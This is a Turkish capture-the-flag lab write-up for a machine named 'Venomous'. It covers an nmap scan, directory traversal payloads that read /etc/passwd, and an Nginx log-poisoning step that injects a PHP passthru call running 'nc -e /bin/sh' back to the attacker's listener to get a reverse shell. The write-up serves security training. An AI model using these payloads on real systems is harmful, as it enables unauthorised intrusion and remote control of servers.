Venomous
Bu makine, sunucudaki dosya sistemine erişmeye neden olan directory traversal ve web uygulamasına yerel dosyaları dahil edilmesine neden olan LFI zafiyetlerinin nasıl istismar edileceğini öğretmeye odaklanır.
Nginx web sunucusunda çalışan web uygulamalarında file upload, directory traversal ve LFI zafiyetlerini tespit ve istismar etme, log poisoning yöntemiyle reverse shell elde etme konularıyla ilgili alıştırmalar yapmak için önerilir.
1- Hangi web sunucusu çalışıyor?
nmap taraması başlatalım.
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 172.20.6.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 11:25 EDT
Nmap scan report for 172.20.6.175 (172.20.6.175)
Host is up (0.074s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
- nginx
2- Bir faturayı görüntülemek için kullanılan GET parametresi nedir?
Websitesi açıldığında şöyle bir sayfa bizi karşılıyor.
Websitesini biraz inceledikten sonra Invoice sayfasına girip Download Report butonuna tıkladım. Açılan sayfada fatura görüntülemek için kullanılan GET
parametresini bulduk
3- Sistemdeki passwd dosyasına erişmek için yaptığınız directory traversal saldırısının payloadı nedir?
directory traversal saldırısı kullanarak etc/password dosyasını okumamız isteniyor. Sırasıyla aşağıdaki payloadları deniyorum.
1
2
3
4
5
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
Payloadlar her seferinde bir üst dizine çıkarak passwd dosyasına erişmeye çalışıyor.
../../../../etc/passwd
payloadı işe yaradı.
4- LFI güvenlik açığının açılımı nedir?
Local File Inclusion
5- Nginx access loglarının varsayılan yolu nedir?
Nginx web sunucusunun erişim logları varsayılan olarak /var/log/nginx/access.log
yolundadır.
6- Siteye ilk erişim sağlayan kişinin IP adresi nedir?
/var/log/nginx/access.log.1 dosyasını görüntüleyerek istenilen bilgilere ulaşıyorum.
7- show-invoice.php dosyasının son değiştirildiği saat nedir?
Bu bilgiyi elde edebilmemiz için makineye erişim sağlamamız gerekiyor. access.log dosyasında yaptığımız işlemlerin logu tutuluyor.
Log Poisoning yöntemiyle log dosyasına payload enjekte edebiliriz.
Öncelikle netcat çalıştırıyorum: nc -nvlp 1234
.
Ardından hedef sunucunun 80 portunda netcat çalıştırıyorum: nc 172.20.6.175 80
Sonrasında shell almamızı sağlayacak payloadı yazıyorum: GET /<?php passthru('nc -e /bin/sh 10.8.1.33 1234'); ?> HTTP/1.1 Host: 172.20.6.175 Connection: close
Ve shellimizi alıyoruz.
ls -l komutuyla dosyanın değiştirme tarihini görebiliriz.